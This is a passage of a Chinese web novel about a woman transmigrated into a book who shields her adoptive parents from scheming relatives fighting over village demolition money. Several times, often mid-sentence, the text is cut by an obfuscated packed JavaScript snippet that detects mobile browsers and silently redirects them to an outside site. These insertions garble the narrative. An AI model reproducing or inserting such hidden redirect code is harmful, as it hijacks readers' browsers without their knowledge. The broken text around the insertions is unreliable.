一时上火,丢开浇灌的活儿便往家跑,倒是巧了,等他推了自行车出来准备往镇上赶的时候,姚良远正好回来了。 他也遇到了薛晨,没想到两口子吵架出事了,他这个人责任心强,便让他们先去,他回家拿钱。 结果他半路就被夏良达给拦住了,拽着他的衣领子,让他偿命。 这不是胡闹吗?他就是不想看到夏雨肚子里的孩子出事,才去找的薛晨。 现在出了意外,那是小两口自己沟通的问题,关他什么事? 泥人还有三分脾气,何况他一片好心被当成了驴肝肺,姚良远受不了了,便跟夏良达理论起来。 夏良达自知理亏,趁着围观的人不多,先动了手。 他这个弟弟他了解的,平时老实巴交的,但是脾气上来了比驴还倔,这一巴掌就是唤醒倔驴血脉的钥匙,一旦姚良远还手,理亏的就不是他这个当大哥的了。 夏良达得逞了,姚良远受不了大庭广众之下被扇嘴巴子,立马给了夏良达一拳。 这下完了,夏良达来劲了,嚷嚷着救命救命,把周围的邻居都给惊动了,不出十分钟,整个村中心的主干道就被堵得寸步难行。 连姚长安这样的瘦子都难挤进去,她急了,只得扭头往村支部赶去。 人多,她在外面也劝不了架,毕竟她的嗓门儿没那么大,但是村里的广播就不一样了。 村支部是以前的村小礼堂改的,里面的电路老化,没有安电风扇,所以村干部白天都不在这里办公,但是也不好关门,便让村支书的老子过来看门。 看到姚长安跑过来,老头还挺热情,问道:“安安,你怎么过来了?” 姚长安没时间解释,车也不停了,直接往墙边一靠,扭头扎进了广播室:“爷爷,广播我用一下,不然要出人命了。” 老头吓了一跳,没有拦她。进了广播室,姚长安打开开关,对着话筒说道:“村口看戏的都给我听好了,你们桥西不是要拆迁了吗?人家办厂子的要不要过来实地考察?你们在那乱糟糟的吵架会不会把人吓跑?都给我回去!要是拆迁的事黄了,都是你们自己作的,可别怨我没有提醒你们!” 嘿,这话特别管用,谁不想拿一笔拆迁款,去城里买房快活呢? 围观的立马你拉着我,我扯着你,不出两分钟,都散了。 等姚长安赶回村口,夏良达自己也跑了,只剩姚良远还在那里掰那歪了的车龙头。 姚长安把车停下,帮忙扶着点,看看姚良远脸上身上,好像没吃什么亏,她这才松了口气:“爸,你没事吧?” “没事。你挺聪明啊闺女!”姚良远虽然挨了打,但他心里甜,女儿知道为他出头了,用的不是蛮力,而是智取,真厉害。 当爸的心里骄傲,乐成了翘嘴。 姚长安笑了:“没办法,我又打不过那么多人,只能吓唬他们了。爸你回来遇到薛晨和夏雨了吗?” “遇到了,我回来取钱的。”姚良远不打算瞒她,毕竟人是在他们家出事的。 姚长安却不高兴了:“爸,你傻呀。薛晨自己推的夏雨,关咱们什么事啊。我可不准你送钱,有那钱还不如你跟我妈多开两晚上空调。” 姚良远有自己的一套行为准则,坚持道:“不行,哪怕意思意思,也不能分文不出啊。” 姚长安生气了:“我就是不准你去送钱!你要是不听,我今晚就回学校了,反正下学期我大四了,毕了业我找个工作,再也不回来受气了。” 姚良远急了:“你这孩子,怎么一着急就说胡话呢?为了这点小事就不回来了?你舍得我跟你妈?” “舍不得,更舍不得你们受委屈!凭什么呀,他们占了咱家的房,自己吵架出了事还要咱家掏钱?天底下就没有这样的道理。”姚长安真的恼了,说什么也不肯出这个钱。 姚良远默默叹气,还想再劝劝女儿,退一步海阔天空。 姚长安见他这么固执,只好把话题往她的身世上带:“好好好,你送钱去吧,送吧!我以前不明白,为什么你是总向着他们,还一个劲把咱家的钱往他们手上送!今天我可算明白了,你根本不在乎我!” “你这孩子,怎么越说越没影儿了?这是哪里的话嘛!”姚良远急了,想给女儿擦眼泪,看到自己布满老茧的手,只能去兜里掏纸。 姚长安一把拍开了那皱巴巴的卫生纸,哭道:“你别糊弄我,我不是小孩子了。刚才薛晨跟夏雨吵架,我都听见了。你……你……” “你听见什么了?”姚良远意识到不好,整个人都紧张了起来。 姚长安拿出杀手锏:“你说呢?我根本不是你们亲生的对不对?所以你不在乎我的感受,一个劲的对别人好!既然这样,你们为什么要养我啊?把我扔回河里淹死算了!” 说罢,姚长安扭头推上自己的车,猴一样的溜了,完全不给姚良远反应的时间。 姚良远愣在那里半天才回过劲儿来,天杀的薛晨,居然连这种话都给抖出来了?难怪闺女哭得这么伤心,还想回学校,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她点点头:“我知道了,我也是着急了,生你的气。在我心里,你们就是我最亲的亲人,我的爸妈只有你们,没有别人。” “好孩子,有你这句话,爸爸心里就踏实了。”姚良远松了口气,揉了揉泛红的眼眶,“好了,我去做饭,等会你妈妈回来,记得高高兴兴的,别让她看出来。” “知道了爸爸。”姚长安也不想这样的,这不是没办法了吗? 只有最重要的秘密被人泄露了,姚良远才会对桥西的亲戚心寒,停止资助。 她这招算是釜底抽薪,但其实,也伤了爸爸的心。 她自然是过意不去的,把衣服放回柜子里,便下楼帮忙去了。 那薛晨在卫生所等了半天,等不到姚家人过来送钱,只好自己先垫了。 好在他这老婆皮实,只是轻微见红,没有大碍,挂了瓶硫酸镁,又开了保胎的药,便可以回去了。 夏天的七点,天还没有完全黑下来,他扶着夏雨,看着即将暗下来的天空,问道:“回哪儿?桥西还是桥东?” 5. 送走 两口子最终哪边都没去,而是回了薛家。 夏雨虽然没有流产,但她毕竟见红了,这事农村人有讲究,如果她这时候跑去亲戚家,那等于是给人家送晦气。 就算她心里这么想,明面上也不能这么做,毕竟姚长安那个臭脾气,肯定会给她嚷嚷开,到时候不但会惊动计生组,村里人也要骂死她。 在农村人朴素的道德规范面前,她不能有明显的瑕疵,不然还怎么赖在姚家? 她不就是仗着自己奶奶对人家有养育之恩吗?这事她占理,见红了去人家她就不占理了。 至于桥西娘家,她也不能回,万一她弟的女朋友家来闹,她这脾气又忍不住,到时候推了搡了,孩子就真的保不住了。 她就在薛家养两天,好了再去姚家做赖皮。 只是这么一来,容易引起别人的怀疑,只能让薛晨明天上班后,从外面把门锁上,假装家里没人。 薛晨安顿好她,问她二女儿怎么办?夏雨想了想,把心一横,不接,就留在姚家,反正二叔脸皮薄,不会把孩子送去桥西的。 结果姚良远见她一直没有过来,便跟刘克信商量了一下,抱着孩子,送回桥西去了。 夏良达黑着脸接过孩子,阴阳怪气道:“怎么,生怕妮妮吃了你家的饭,大晚上的也要送过来?这么小的孩子走夜路,要是撞了什么不干净的,我跟你没完!” 姚良远一直是个老好人,要是搁平常,他是不可能带这么小的孩子走夜路的,可是今天不一样,薛晨泄露了他女儿的身世,他不可能对薛晨的女儿有好感。 赶紧送给桥西,眼不见心不烦。他甚至没有接他大哥的话茬,扭头便走了。 气得夏良达骂骂咧咧,又是挖苦他绝户,又是诅咒他老了没有人养老送终。 声音不小,姚良远能听见,但就是不想理会,免得着了小人的道。 回到家,看到邹佳在洗碗,他没有啰嗦什么,锁了院门便洗澡回房去了。 他跟他老婆睡在中间这栋楼的一楼东房,天热,到底是把空调开开了,他把窗帘拉上,坐回床上问道:“邹佳那边怎么办?闺女不让留她了,我又找不到理由让她走,毕竟咱家房子不少。” 刘克信一向对夏家的这些亲戚没什么好感,不过是看在自己男人的面子上,没计较。 现在男人开口,她也就说实话了:“理由倒是有个现成的。” 姚良远眉头一挑:“有吗?”他怎么不知道。转念一想,难道是……便问道,“你是想说,夏雨见红,去了卫生所的事?” 刘克信笑着拿起遥控器,不想看新闻,干脆调到点播台,别人点了什么她就看什么。她把遥控器放下,坐在床头,笑道:“对啊,你就说你去看夏雨的时候遇到计生组了,邹佳肯定得跑。” “那行。”这么一来,既不用真的通知计生组,害了人家孩子,也可以让邹佳滚蛋。 他叹了口气:“闺女嫌弃我了,嫌我是个滥好人。以前我总觉得,都是亲戚,能帮则帮。结果呢,稍微不顺心,大哥就扇我嘴巴子,当着那么多人,我的老脸没处搁。” 刘克信明白,摸了摸男人的脸,忍不住叹气:“你对他们仁至义尽了。当初公社推荐你上大学,他们非要你把名额让给老三,你再不想让也让了。要不是因为这个,你能当一辈子农民?” 说到这事,姚良远就惆怅。哎,他也不想啊,架不住养父母一哭二闹三上吊,他不想落个不孝的骂名,只能忍痛放弃。 结果老三不争气,顶替他的名额去上大学,却在学校里耍流氓,被开除了。真是害人害己。 这些年,他无数次想,要是他亲生父母还在就好了,他就不用牺牲自己的前途,去偿还别人的养育之恩。 受了委屈,还得笑着说没事,自己骗自己,永远不能畅快地活着,不能理直气壮地跟夏家说不。 还好他老婆对他真心,闺女也懂事。想到这里,他忍不住熄了灯,跟自己老婆亲热亲热,反正也不会怀孕。 第二天一早,姚良远便找邹佳谈了谈,让她躲一躲计生组,别被抓了。 邹佳昨晚就意识到不好了,现在二舅也这么说,看来她不得不走了。可是,去哪儿呢?她没有结扎,也没有上环,娘家婆家的计生组都在找她。 一时没了主意,急得眼睛泛红,泪珠滚滚。 姚良远一向心善,邹佳又没有得罪他,他一时心软,便塞了一千块钱给她:“去县里租个房子好了。那里没什么熟人,稳当一点。” 也行。就是这钱……可以不还吗?邹佳想了想,委婉道:“二舅,我只是个护士,工资不高,现在还请了病假,没有收入……” 潜台词很好懂。姚良远也不想为难她,本打算说不用还了,不想,姚长安在门口听着呢。 见状拿了纸笔进来,往桌子上一摆:“嫂子,那你打欠条吧,什么时候有了什么时候还,不着急,啊。” 视线对上,满是嘲讽。 邹佳知道,她的小心思被人看穿了,只得硬着头皮,打了欠条。收拾收拾,趁着计生组没来,赶紧溜。 姚长安还装了回好人,帮她提了行李箱,叮嘱道:“嫂,你给表哥打个电话吧,跟他说一声,免得他找不到你不放心。” 这是在撇清责任呢,要不然,回头他们家人赖上姚家怎么办? 邹佳心里有数,她脸皮也没有夏雨厚,只得照做。 原以为可以走了,没想到行李箱被姚长安拖着,她喊道:“妈,你跟我一起送一下嫂子吧!” 刘克信正准备去果园呢,闻言过来问了一声,姚长安拉着她去旁边:“妈,咱把她送到桥西再回来,要不然夏家找咱们要人怎么办?” 刘克信笑了,这孩子,想得还挺周全!没错,要是就这么让邹佳走了,他们就有嘴说不清了。 得过明路!得让别人看见! 于是母女俩一个帮忙拖行李,一个帮忙抱小孩,赶鸭子上架,把邹佳带去了桥西夏家。 夏家的人,有一个算一个,都想从姚家身上撕几块肥肉下来,现在看到邹佳被送回来了,可不得急眼? 正准备找个借口,让邹佳继续去姚家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923828|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住着,就听姚长安说道:“大伯,你得劝劝大姐和姐夫,有什么话不能好好说,非要动手,要不是他昨天推了大姐,大姐也不会见红啊。” 夏良达没想到这孩子会捂嘴了,很是不满,看来只能拿夏家对她老子的恩情说事。 结果姚长安又抢了先,她故意看了眼身后的村道,一把扯过夏良达的胳膊往里走,小声道:“大伯,这会儿计生组肯定得到消息了,要去找大姐的麻烦呢,找不到就得来你家,你家没有就得去我家!都是亲戚,我们肯定也不想看到佳佳嫂子被连累,这不,我爸还拿了一千块给她,让她出去躲躲。” 一听姚良远掏了钱,夏良达的心里就舒坦了,虽然只有一千,但起码是个态度——没出意外的邹佳都有钱拿,出了意外的夏雨不得多拿点儿? 现在没给,只是因为夏雨没在跟前嘛,等她回来了,肯定少不了她的。 想到这里,夏良达也不啰嗦了,当务之急还是先让佳佳出去躲躲,其他的再说。 便把自己三女儿夏雪叫出来,让她陪邹佳找个地方落脚。 安排好邹佳的事,夏良达一回头,姚家母女呢? 邹佳只得赔笑脸:“二舅妈跟安安回去了,果园那边要浇水,忙。” 也对,夏良达催她们快走,又让家里其他人管好嘴巴,这才下地,检查秧苗的情况去了。 村道上,刘克信含笑看着自己女儿:“安安,你长大了。” 知道用计谋了,而不是直接往前莽,那样会吃亏。果然是大学生了,不一样了。 当妈的很欣慰。 姚长安不想让她担心,搂着她脖子撒娇:“我才不想长大呢!可是没办法呀,同学里头也有这种耍心机欺负人的,我不想吃亏,只能凡事多想多分析了。” “说得对!”刘克信越发欣慰了,孩子懂得自我保护了,真好。 母女俩有说有笑的,正走着,便看到邢亚辉提着一塑料袋零食,另一只手牵着桥西的一个女生,腻腻歪歪的不知道在说些什么。 看两人的神态,亲昵得很,不像是刚好上的。 刘克信很生气!即便昨天晚上回来后,姚长安已经告诉她分手的事了,但她还是火气上涌。 她直接拦在了邢亚辉前头,满是嫌弃地打量起这个小畜生,不禁冷笑道:“呦,亚辉啊,这是又攀上高枝了?你妈知道了没有?” 邢亚辉没想到这么倒霉,出来约个会都能碰到前任的妈。 他尴尬地看了眼姚长安,她今天穿了一条粉色连衣裙,长头发扎了一个简单的马尾,小皮鞋白白净净,浑身上下透着两个字:优雅。 再看自己的新女友,确实土了点,衣服档次也差了点,凉鞋还是人造革的。 不过没关系,等拆迁了就好了。 他说服了自己,尽量不卑不亢:“阿姨说笑了,等回头中元节,我给她烧点纸说一声。” 刘克信还想说点什么,姚长安扯了扯她的袖子,直接走开了。 邢亚辉下意识回头看了眼,新女友不乐意了,酸道:“怎么?舍不得?” 6. 预知 邢亚辉确实有点舍不得,毕竟姚长安实在出众,她不光成绩好,脸蛋儿也完美,身材高挑,气质脱俗。 说句鹤立鸡群一点也不为过,他去她学校找她的时候,别管是运动会还是校庆,成千上万的茫茫人海中,他总是可以第一眼看到她。 然而再好又有什么用,订婚这么久了都不让他碰,他要是嘀咕两句,她就要报警。 还是表哥说得对,这种女人除了会装圣女抬高自己的身价,屁用没有。 不如实实在在的可以搂在怀里的,亲得着摸得着的女人。 就像此时站在他身边的冯媛媛,虽然眼皮一个单一个双,割了也不自然,虽然鼻子有点塌,化妆也掩饰不了,但她就是比姚长安强。 因为她让睡,这对男人来说,比什么都有魅力。 这会儿两个人出来,就是来商店看看有没有套子的,可惜乡下的小商店实在是货品不全,找了半天都没有,只好买了点零食装装样子。 现在冯媛媛拈酸吃醋,反倒是让邢亚辉的自尊得到了极大的满足,他笑着回过头来,坚决否认:“怎么可能?我是在想表哥跟我说的话。” “什么话?”冯媛媛挽着他的胳膊,一脸好奇地看着她,眼中满是爱慕与崇拜。 这是男人最喜欢的小女人姿态,邢亚辉便实话跟她说了:“表哥说她爸妈过几天就要死了,别看她现在嚣张得跟什么似的,哭的日子在后头呢。” 冯媛媛有点意外:“她爸妈看着身体不错啊,怎么会死呢?” “我哪知道,可能是算了八字吧,反正我表哥说的话从来没有出错的时候。走吧。”邢亚辉把这个二表哥奉若神明,从来不会怀疑什么。 就比如桥西拆迁的事情,多亏了表哥提前通知他,他才让爷爷家偷偷转了几个亲戚的户口过来。真到了拆迁的时候,多分的钱也有他的一份儿。 他挽着冯媛媛往她家走去。 她家就她一个孩子,早年上头还有个哥哥,下大雨乱跑,掉石灰塘里淹死了,后来她爸妈怎么也怀不上孩子,到处求神拜仙的,给她哥哥供了长明灯,这才有了她。 但也只有她,之后就怀不上了,听那道士的意思,她就是她哥投胎来的。 不管怎么说,有个女儿总比什么都没有强,这些年她爸妈把她宠得跟个小公主似的,只可惜家里做的是小本买卖,一直发不了大财。 条件摆在那里,再阔也没有全村最有钱的姚家阔,穿戴方面自然也差了一档。 不过冯媛媛很知足,比上不足比下有余嘛,只要邢亚辉是她的,其他的都好说。 这会儿她爸妈出去做生意了,不在家,她便关上院门,跟邢亚辉上楼去了。 三层的楼房,顶层一般比较热,底层通风不太好,最凉快的就是二层,穿堂风一过,那叫一个舒爽。 两人在地上铺了凉席,便准备试试那档子事儿。 冯媛媛做好了思想准备,紧要关头还是问了一声:“怀孕了怎么办?” “不会怀的,你不是例假刚走吗?”邢亚辉等不及了。 曾几何时,他的面前摆了一道山珍海味,可惜摆了这么多年,只给看不给尝,他现在已经不在乎吃到嘴里的是面包还是蛋糕,是清粥还是小菜了。 先吃了再说。于是他哄道:“真怀了也不怕,我会对你负责的。” 冯媛媛放心了,反正她没有考上大学,只在爸妈服装店帮忙收钱混日子,怀孕了正好可以吃定邢亚辉。 她便丢掉了最后的顾虑,跟这个男人滚在了一起,单相思这么多年,总算是有了结果。 疼是有点疼,可是爱能止痛,看到男人那享受的样子,她就知足了。 事后擦了擦,居然没有出血。 邢亚辉不可置信地看着手里的纸:“你不是第一次啊?” 冯媛媛委屈死了:“谁说的?你怎么冤枉人呢?又不是所有人第一次都会出血的。” 邢亚辉见她生气了,只好先哄着。但他还是没尽兴,歇了会儿又要了一次,才算彻底解了馋。 两人搂在一起睡了会儿。估计是累着了,邢亚辉醒来的时候,冯媛媛都没有动静。 邢亚辉穿好衣服出去,去爷爷家找表哥。 到那的时候,温枕瑜却不在,问了一声,才知道他钓鱼去了。 邢亚辉去河边找到了温枕瑜,他蹲在旁边帮忙搅拌鱼食儿,脸上是藏不住的喜悦。 温枕瑜钓了一条翘嘴上来,捏着鱼嘴摘掉了鱼钩,扭头把鱼往他脸上贴:“得手了?瞧瞧,你像不像它?” 邢亚辉确实成了翘嘴,乐的,不过乐中有愁,他问道:“表哥,女的第一次都会出血吗?” “不一定。”温枕瑜一副很懂的样子。 邢亚辉很好奇:“怎么说?” “这东西本身就不科学,各人情况不一样的,你感兴趣的话回头带你去图书馆看看,总之,不出血正常。”温枕瑜捏了条红虫,钓别的去。 邢亚辉哦了一声:“反正冯媛媛说她就是第一次,我就信她一次吧。” “这重要吗?”温枕瑜笑着调侃道,“吃到嘴里不就行了?以后有了钱,想要处女还不简单?” “也对。”邢亚辉想通了,一屁股坐在河堤上,确认道,“表哥,姚长安的爸妈真的会死啊?” “嗯。” “你怎么知道的?” “做了个梦,梦醒后找了个道士算了算,她爸妈都是短命的八字。” “万一没死呢?” “没死就没死呗,你还能冲上去把人家杀了?” “不,我只是在想,万一她爸妈没死,那不就说明你的梦不准吗?” “你在担心桥西的拆迁也不准?” “嗯。” “你脑子进水了?拆迁的事又不是做梦得来的,化工厂的人都来了几次了你不知道?” “这我知道,可是这么久了,怎么还没有定下来啊?不会有什么变动吧?” “真有变动也没办法,反正我知道的都告诉你了,爱信不信吧。” 邢亚辉沉默了半天,最后嘀咕了一句:“总之,不拆也没事,别拆桥东就行了,到时候啪啪打脸,我得懊悔死了。” “懊悔什么?桥东那破地,谁要?真有人要的话,姚长安的爸妈都死了,她家那些亲戚不得急红了眼往上扑?她要是不想被吃绝户,只能招个男人回去。”温枕瑜一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923829|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点也不担心这事,宽慰道,“说不定她还得哭着求你帮忙呢,怎么算你都亏不了。” 邢亚辉笑了:“也对,农村人就没有不吃绝户的,到时候她就惨了,还不是任由我拿捏。” “知道就好,放宽心,等着发财就是了。”温枕瑜信心满满,正好有鱼咬钩,甩上来一看,嘿,黄鲤鱼!他笑得灿烂,把鱼丢进邢亚辉怀里,继续他的辉煌战绩。 * 冯媛媛一觉醒来,没看到邢亚辉,不免心慌。 想她第一次居然没有出血,再想想邢亚辉质疑的眼神,她的心里很不是滋味,赶紧梳洗一番,换了衣服,出去找人。 正好碰到姚长安来桥西办事,冯媛媛立马叫住了她:“姚长安,等等!” 姚长安手里提着一包尿布,那是邹佳落在她家的,她去西边那栋楼收拾的时候才发现,赶紧送过来,免得节外生枝。 她停下脚步,注意到了冯媛媛脸上和脖子上的吻痕,不用问也知道,肯定是邢亚辉得手了。 怪了,原文里面,邢亚辉好像没有这么快得逞吧? 这是怎么回事?是因为她把剧情线带偏了百分之零点三?不至于吧? 搞不好是有别的什么人在搞鬼,想到这里,她指着对面的树荫:“什么事?到那边说吧,凉快。” 冯媛媛跟着她走到树荫下,攥着手,内心挣扎了好一会儿才开口:“那个,我跟邢亚辉……你以后离他远点儿好吗?” 姚长安笑了:“谢谢啊,我正愁找不到垃圾回收站呢。” 冯媛媛知道她在骂邢亚辉,急了,辩解道:“你别吃不到葡萄说葡萄酸!” “好好好,你说得对。”姚长安懒得跟她争,还是说正事,她问道,“你们俩不是刚确定关系吗?怎么这么快就?是有人怂恿他这么做的?” “没有啊,你怎么这样啊?就不能是他对我动了真情吗?”冯媛媛这下真的生气了,这个姚长安真过分,自己得不到,就羞辱别人。 姚长安无语了:“好好好,是真情。那我问你,他这两天除了跟你在一起,还跟谁在一起了?” “他表哥呗,怎么了?”冯媛媛一脸的不高兴,“他表哥没有得罪你吧?” 姚长安笑了:“没有,你也知道,我放暑假了,无聊,随口一问。好了,你还有什么想跟我说的吗?” “嗯。”冯媛媛自己也知道难以启齿,嘴巴张了又闭,又不知道自己用什么立场问,只得沮丧地叹了口气。 姚长安看懂了,拍拍她的肩膀:“放心,我跟他什么都没有,手都没有牵过。他跟别人有没有我不知道,起码在我这里,没有。” 冯媛媛明显松了口气,她最想知道的就是这个,没想到姚长安居然懂她。 不禁心生感激,下意识叫住了准备离开的姚长安。 姚长安诧异地看着她:“还有事?” “那个……你小心点,天热,别让你爸妈中暑啊。还有果园,注意点,可能会有蛇,走夜路也要小心,记得打手电。”说完这些,冯媛媛便一脸心虚地跑了。 姚长安不禁蹙眉,是谁,在预知她爸妈的死亡,还让冯媛媛知道了? 邢亚辉?还是温枕瑜? 7. 自保 姚长安送完尿布,回去的路上一直在琢磨这个事儿。 所谓的预知,无非这两种可能:一、对方也是穿书的;二、对方有特异功能。 如果是邢亚辉穿书了,那么他只要抱紧温枕瑜的大腿安心走剧情就行了,反正捅了娄子直接找温枕瑜这个救世主就行,哪怕他在整本书里都被读者骂成了狗屎,但这影响不了他滋润地活下去。 那么他随心所欲一下,提前跟冯媛媛办办事儿,似乎也说得过去。 如果是温枕瑜穿书了,那就更加无所顾忌了,他可是男主,熟知剧情走向,稳坐钓鱼台。 唯一需要担心的就是他那个刑警队的大哥,老古板一个,特别爱管着他。 这是作者为了扩大作品受众,特地创作出来的角色——高大帅气,不近女色,刑侦专家。 这个角色查案子的剧情都是一笔带过,最主要的戏份就是训男主,毕竟男主隔几天就换一个女人,太不着调了。 老古板看不惯,一个劲的教训男主,不能跟猴子掰玉米似的,见一个爱一个,男主嘴上嗯嗯嗯,背地里又去拥抱新的艳遇,主打一个阳奉阴违。 后来读者都把男主的大哥当乐子人看了,每次看到他指责男主,就有男读者挖苦他:何必呢,又不是你儿子,管那么宽呢。 于是又有一波读者出来催作者,赶紧让男主抱个好大儿回家,给他大哥找点事做,就不会咸吃萝卜淡操心了。 这条评论是很多男读者的心声,跟帖的蜂拥而至,甚至群策群力给孩子起名字,不出十章,男主的好大儿呱呱坠地,刑警队的老古板也晋升为大伯。 评论区好多人都阴阳怪气,大伯不会连喝奶的孩子也要教训吧。 那确实不至于,可是一扭头,老古板又催婚去了,毕竟他弟连孩子都有了,怎么能不结婚,不给孩子妈一个交代呢? 结果男主两手一摊,结什么婚,结了婚还怎么快活?不结。 至于孩子妈是谁?反正他不说。 老古板只好业余时间去调查,一调查不得了,他弟还有好几个怀了孕的女友,等着塞更多娃娃给他们家呢。 老古板实在是受不了,直接搬离了老宅,自己出去住了。 评论区像过节一样,都在庆祝老古板的滚蛋,只有少数读者在感慨,全书唯一一个正常人走了,真可惜。 好在男主后面的剧情还得要他大哥帮忙,老古板还是会出来打酱油的,只是戏份不多,也不再教训男主了,大概是放弃了。 直到姚长安穿进来,这位老古板都还在兢兢业业的破案子抓坏人,真是全书的一股清流。 不过再清流他也是男主的大哥啊,姚长安只想敬而远之。 更何况,她现在还怀疑男主温枕瑜也穿书了,那她必须躲远点,免得被这家人祸害才行。 她加快了脚步,去果园,找爸妈商量事儿。 还得谢谢冯媛媛,无心插柳,给了姚长安劝说爸妈的借口。 她看着正在浇水的姚良远,满是担忧:“爸爸,我刚去桥西,碰到冯媛媛了。” “怎么了?”姚良远虽然从女儿那里听说了退婚的事情,但他还不知道邢亚辉无缝衔接,已经跟别人好上了。 姚长安默默叹气:“爸,邢亚辉跟她好上了。” “什么?”姚良远气得把舀子丢进了水桶里,“这个畜生,这么快就找到下家了?” “爸,这不重要。重要的是,冯媛媛告诉我一个秘密,她说邢亚辉之所以不跟我好了,是因为有人告诉他,你和我妈过几天会出事,我会变成孤儿。”姚长安怕他激动之下撞着脑袋,赶紧拉着他的膀子远离那些果树,“爸你说,会不会还是因为拆迁的事啊?一旦桥西的不拆了,改拆桥东的,夏家那边肯定不会放过咱家的。爸,我很担心你和我妈,咱们一家三口早做准备吧。” 姚良远确实有点激动:“别听她胡说,好端端的,能出什么事?” 姚长安只能提醒他:“你忘了,咱们不在家的时候,奶奶可是直接撬锁带人住进去的。真到了拆迁的时候,还有什么手段是她使不出来的?” 姚良远沉默了,他蹲在地上抓了把头发:“你妈在那头,你去喊她过来吧,这事是得好好商量了一下了。” 姚长安松了口气,爸爸肯听就好,她赶紧去果园尽头,把正在修剪枝桠的刘克信叫去了前面。 路上姚长安又学了一遍刚刚的话,刘克信的反应还算平静,她叹了口气:“不奇怪,那一家子都伸长了脖子等着喝咱家的血呢。真要是拆迁的时候从咱家手上捞不着好处,肯定会下黑手,下死手。” “妈,你信冯媛媛的话吗?” “信,怎么不信。你爸他……”刘克信本想说,姚良远不能生育就是被这家人害的,想想还是没提,要不然,闺女该怀疑自己的身世了。 她还没做好心理准备,不想让闺女知道她不是闺女的亲妈。 她只能算其他的账:“当年你爸被公社推荐去上大学,不就是你奶奶一哭二闹三上吊,逼着你爸放弃了嘛,你三叔顶着他的名字去上学,他只能留下来当农民,后来你三叔耍流氓被开除,档案里记的还是夏良远这个名字呢。你爸知道了气不过,干脆改回他亲爹的姓,用姚良远的身份活下去。还好,那时候户籍管理不严,桥东又需要人开荒,大队那边也就给他落了新户,算是彻底跟夏家分开了。” “也就是说,咱们一家三口的户口信息,跟夏家的人完全不沾边?”姚长安得到了一个重要的线索,这很关键。 原文里没写,多半是作者想糊弄过去,要不然,怎么逼迫坐拥巨额拆迁款的姚长安,忍着恶心吃回头草呢? 真是用心险恶。 还好她不是书里的傀儡,任人拿捏。 刘克信见她这么激动,赶紧给她吃了个定心丸:“真的,户口早分开了。” 姚长安不禁松了口气,她有主意了,问道:“妈,过两天能叫大舅回来吗?” “你大舅上班忙,不一定有空。你先说说,什么事?”刘克信挽着女儿的胳膊,往前走。 姚长安停下,问道:“我爸的亲爸不是个军人吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923830|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“没错啊,这跟你大舅有什么……”话到一半,刘克信领会了女儿的意思,笑道,“你是想让你大舅过来,放个烟雾弹?” “对啊,三表哥不是在部队吗?你就让大舅过来,说表哥在部队见着一首长,跟我爸长得特像,表哥让大舅来拿我爸的照片给首长,最好是从小到大的都有。这么一来,桥西的肯定就被唬住了,不敢再张牙舞爪了。”姚长安这也是没办法,她总得先保住爸妈的性命再说其他。 况且这事,是原文自己写的,板上钉钉的,姚良远的亲爹就是个军人啊,夏家自己也知道的。 不过是仗着这么多年来,姚良远的亲人没有音信,才敢拿着养育之恩要挟姚良远做这做那,真要是姚良远的爸妈找过来了,夏家的人还敢乱来? 不可能的。 刘克信真是又惊又喜,这孩子真有头脑,果然女孩子还是要多读书,才不会被人欺负。 她挽着女儿的手,高高兴兴地找姚良远商量去了。 姚良远一听这计划,大为震撼,可是转念一想,目前来说,也确实只有这个办法能让桥西的人老实一点了。 他同意了:“晚点我给大舅哥打电话,前因后果都说清楚才行。” “我来打吧,我哥最疼我了,我开口他肯定不会拒绝的。”刘克信跟刘家人关系很好,毕竟刘家不像夏家,整天想着占便宜,烦死人。 刘家的人是真心把她当自家人看待的,她能感受到这两头的区别。 吃过晚饭,她便给大哥刘克仁打电话去了。 刘克仁在栖梧县东城派出所,是个片儿警,还没退休,家里仨孩子,大儿子跟二女儿都结婚成家了,只有老三刘行俊还没有着落。 他也不急,这孩子上的是军校,去了部队就是尉官,以后的路长着呢,找对象的事可以慢慢来。 这会儿接到小妹的电话,他很是高兴,兄妹俩叙了会旧,便转入正题。 刘克仁脸上的笑渐渐凝固了,骂道:“夏良达那个王八羔子,拿了你们的钱盖了房子还不知足?还想扒你们的皮呢!” “哥,别生气,你听我说,安安给我出了个点子,我觉得不错,你听听看……”这一聊就是半个多小时。 